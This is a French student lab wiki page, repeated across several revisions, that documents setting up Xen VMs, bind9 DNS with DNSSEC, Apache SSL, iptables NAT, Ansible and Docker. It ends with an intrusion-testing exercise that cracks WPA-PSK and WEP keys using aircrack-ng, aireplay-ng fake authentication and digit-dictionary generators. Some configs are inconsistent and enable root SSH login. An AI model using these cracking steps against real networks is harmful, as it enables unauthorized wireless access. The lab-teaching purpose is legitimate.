ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:
---
- hosts: nous
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: Try to stop container
docker_container:
name: container-chlamydiae
state: stopped
image: image-for-chlamydiae

- name: Delete container
docker_container:
name: container-chlamydiae
state: absent
image: image-for-chlamydiae

- name: Delete the image
docker_image:
name: image-for-chlamydiae
tag: latest
path: /tmp/gr4/DockerFiles
state: absent
force: yes

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-from-ansible
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

Que l'on lance avec la commande:
ansible-playbook file_name.yml

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T13:52:14Z

Zbriois : /* Création de votre conteneur */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible:
---
- hosts: nous
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: Try to stop container
docker_container:
name: container-chlamydiae
state: stopped
image: image-for-chlamydiae

- name: Delete container
docker_container:
name: container-chlamydiae
state: absent
image: image-for-chlamydiae

- name: Delete the image
docker_image:
name: image-for-chlamydiae
tag: latest
path: /tmp/gr4/DockerFiles
state: absent
force: yes

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-from-ansible
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T13:51:52Z

Zbriois : /* Création de votre conteneur */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
